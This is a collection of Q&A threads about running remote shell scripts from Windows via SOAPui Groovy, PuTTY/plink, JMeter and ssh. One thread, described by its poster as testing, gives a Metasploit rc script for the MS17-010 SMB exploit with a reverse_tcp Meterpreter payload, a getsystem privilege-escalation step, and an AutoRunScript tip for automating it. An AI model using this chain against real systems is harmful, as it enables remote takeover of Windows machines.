I have shell script which is kept on remote server(linux machine) and I am trying to call that shell script in between the execution of various test cases of SOAPui from windows.
So I have prepared a groovy script:
def command="/usr/bin/ssh -p password username#IP_address bash -s < /home/test.sh"
def proc=command.execute().text
proc.waitFor()
But unfortunately, I am receiving an error:
java.io.IOException: Cannot run program "/usr/bin/ssh": CreateProcess error=2, The system cannot find the file specified error at line: 6
I tried to search more on this, but couldn't get the resolution. Some of the links were:
How to execute shell script using soapUI
http://groovy-lang.org/groovy-dev-kit.html#process-management
If as you comment you've a putty.exe installed on Windows you can try with the follow.
First of all create a file in your Windows local with the commands to execute remotely for example I create the follow C:/temp/commandsToRunRemotely.txt then in this file put the command you want to execute. As a sample I use the follow command:
echo "test remote execution" > /tmp/myfile.txt
Then from groovy script in SOAPUI call putty.exe passing the local file which contains the commands to execute remotely:
def command = "C:/path/to/putty.exe -ssh user#IP -pw pass-m C:/temp/commandsToRunRemotely.text"
def proc = command.execute()
proc.waitFor()
Note that if you've putty.exe in your Windows path, you can simply use putty.exe instead of full path.
This is only an ilustation sample, but if you want to execute a shell script remotely instead of echo "test remote execution" > /tmp/myfile.txt in the commands file use directly the path for your script: /home/test.sh
I get the Putty command line options from this nice answer
Hope it helps,
Related
I want to automate an attack (for some testing purposes) using metasploit in kali linux. Metasploit commands are save in ms17-010.rc file, and the file is called in the script followed by meterpreter commands. I have tried both bash scripting (Attack_script.sh) and python scripting (test.py). The problem is:
After executing the first command "msfconsole -r /root/ms17-010.rc", first metasploit console is opened and execute the commands saved in "ms17-010.rc" file. Then a meterpreter console is obtained on the same terminal, but it does not execute the remaining commands, Which i want to run on Meterpreter. When i exit both meterpreter and msfconsole, then the comands are executed on terminal.
The problem is with both bash and python script. Hope that i am clear. Please help me out.
## Msf RC script: ms17-010.rc ######
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.10.16
set LPORT 4444
set RHOST 192.168.10.17
exploit
## Bash script: Attack_script.sh ######
#!/bin/bash
msfconsole -r /root/ms17-010.rc
shell
getsystem
## python script: test.py ######
from os import *
system ( 'msfconsole -r /root/ms17-010.rc' )
system("shell")
system("getsystem")
In that ms17-010.rc add one more Line
'set AutoRunScript multi_console_command -r meterpreter.rb'
By this it will execute the commands stored in meterpreter.rb in a meterpreter shell. You need to create a .rb script with commands you want to execute and done
I am struggling with jmeter for running cmd command to remote desktop.
I use the OS sampler.
I have a command that if I run it from the command line from my computer it worked, but when I try to make jmeter to run it, it failed - I use the same computer.
the command is:
plink -ssh jenkins#178.27.288.288 -pw passtest sudo /opt/test/test.sh
I added an OS sampler as followed:
the working directory is the cmd.exe directory.
and the command is the full command I want jmeter to run, the same one that working perfectly on cmd direct.
I get this error:
Response message: Exception occurred whilst executing system call: java.io.IOException: Cannot run program "plink -ssh jenkins#178.27.288.288 -pw passtest sudo /opt/test/test.sh" (in directory "c:\windows\system32"): CreateProcess error=2, The system cannot find the file specified
I do not know which file jmeter wants, I just want him to run the command, to connect to remote computer and run the command, the command working perfectly in command line and run the script in the remote computer.
I found this blog in the net:
https://www.blazemeter.com/blog/how-run-external-commands-and-programs-locally-and-remotely-jmeter
that said that it can be done, but since it is easy they not displayed step by step instructions.
when I change the command to dir, it run OK and the results are like I write dir in command line.
How can I make jmeter open the command line and just put the command and press enter, and display the results?
In the command you need to give the name of the programme to execute. In case of command prompt it is cmd.exe and for shell i think it is powershell.exe
Rest need to be pass as command parameters.
Check below for command parameters:-
The OS Process Sampler is a sampler that can be used to execute
commands on the local machine. It should allow execution of any
command that can be run from the command line. Validation of the
return code can be enabled, and the expected return code can be
specified. Note that OS shells generally provide command-line parsing.
This varies between OSes, but generally the shell will split
parameters on white-space. Some shells expand wild-card file names;
some don't. The quoting mechanism also varies between OSes. The
sampler deliberately does not do any parsing or quote handling. The
command and its parameters must be provided in the form expected by
the executable. This means that the sampler settings will not be
portable between OSes.
Many OSes have some built-in commands which are not provided as
separate executables. For example the Windows DIR command is part of
the command interpreter (CMD.EXE). These built-ins cannot be run as
independent programs, but have to be provided as arguments to the
appropriate command interpreter.
For example, the Windows command-line: DIR C:\TEMP needs to be
specified as follows:
Command: CMD Param 1: /C Param 2: DIR Param 3: C:\TEMP
If the commands are remote commands then try with "Remote Commands: Linux/MacOSX" with SSH sampler shown in the blog you shared.
Below screenshot for simple execution of dir command:-
--update--
additional screenshots
to execute a windows commad DIR c:\test use below settings
I am using mapfile -t to obtain content of a text file and assign it to array.
In Jenkins it works fine where it will prompt steps and what command executed in console output .When I try to run in local console for example putty it prompts.
mapfile: not found [No such file or directory]
I know that mapfile is a bash command is and I am able to run the shell program after typing bash and executing the script.Is there anyway that I don't need to type bash in order to run the program ?I include #!/bin/bash -x on top of the script it still display the same error .The reason I don't want to type bash and execute the script is due to that it did not show what are the errors when the script dies.It did not display the error handling process that was in the script and it did not display output when it runs the command.
Please open a new file called script in a text editor. Type your program in:
#!/bin/bash -x
set -e
item=$1
if [ $item = '-database' ] then
mapfile -t DATA < $DATA_FILES
fi
save the file, execute chmod u+x and then
./script "-database"
to run it.
That's it.
However, that script will print nothing.
I want to execute a shell script in remote machine and i achieved this using the below command,
ssh user#remote_machine "bash -s" < /usr/test.sh
The shell script executed properly in the remote machine. Now i have made some changes in script to get some values from the config file. The script contains the below lines,
#!bin/bash
source /usr/property.config
echo "testName"
property.config :
testName=xxx
testPwd=yyy
Now if i run the shell script in remote machine, i am getting no such file error since /usr/property.config will not be available in remote machine.
How to pass the config file along with the shell script to be executed in remote machine ?
Only way you can reference to your config file that you created and still run your script is you need to put the config file at the required path there are two ways to do it.
If config is almost always fixed and you need not to change it, make the config locally on the host machine where you need to run the script then put the absolute path to the config file in your script and make sure the user running the script has permission to access it.
If need to ship your config file every time you want to run that script, then may just simply scp the file before you send and call the script.
scp property.config user#remote_machine:/usr/property.config
ssh user#remote_machine "bash -s" < /usr/test.sh
Edit
as per request if you want to forcefully do it in a single line this is how it can be done:
property.config
testName=xxx
testPwd=yyy
test.sh
#!bin/bash
#do not use this line source /usr/property.config
echo "$testName"
Now you can run your command as John has suggested:
ssh user#remote_machine "bash -s" < <(cat /usr/property.config /usr/test.sh)
Try this:
ssh user#remote_machine "bash -s" < <(cat /usr/property.config /usr/test.sh)
Then your script should not source the config internally.
Second option, if all you need to pass are environment variables:
There are a few techniques described here: https://superuser.com/questions/48783/how-can-i-pass-an-environment-variable-through-an-ssh-command
My favorite one is perhaps the simplest:
ssh user#remote_machine VAR1=val1 VAR2=val2 bash -s < /usr/test.sh
This of course means you'll need to build up the environment variable assignments from your local config file, but hopefully that's straightforward.
I'm running a batch file (export.bat) in Windows 7 using plink to execute a script in a remote Linux server machine, but I get this error:
./test.sh: line 3: back.sh: command not found
Batch file:
#echo off
cls
plink 1.1.10.11 -l user -pw pass "bash ./test.sh"
Script in the remote server:
#!/bin/sh
cd /path/path/path
script --table filename--filebase /path/path/path/path
exit
I'm assuming script in your remote script is actually back.sh, and that it exists in /path/path/path.
To execute a script back.sh in the directory you cd to (i.e. the current directory), use ./back.sh instead of just back.sh.
PS: You should generally try to avoid sanitizing input and output of things you post on StackOverflow. It often ends up confusing. For example, you say you get the error line 3: back.sh: command not found, but your remote script does not contain the command back.sh on line 3 or anywhere.
Instead, invest 15 minutes in making a runnable test case with no sensitive data, that you can actually execute and copy files and errors from verbatim. The bash tag wiki has tips for this.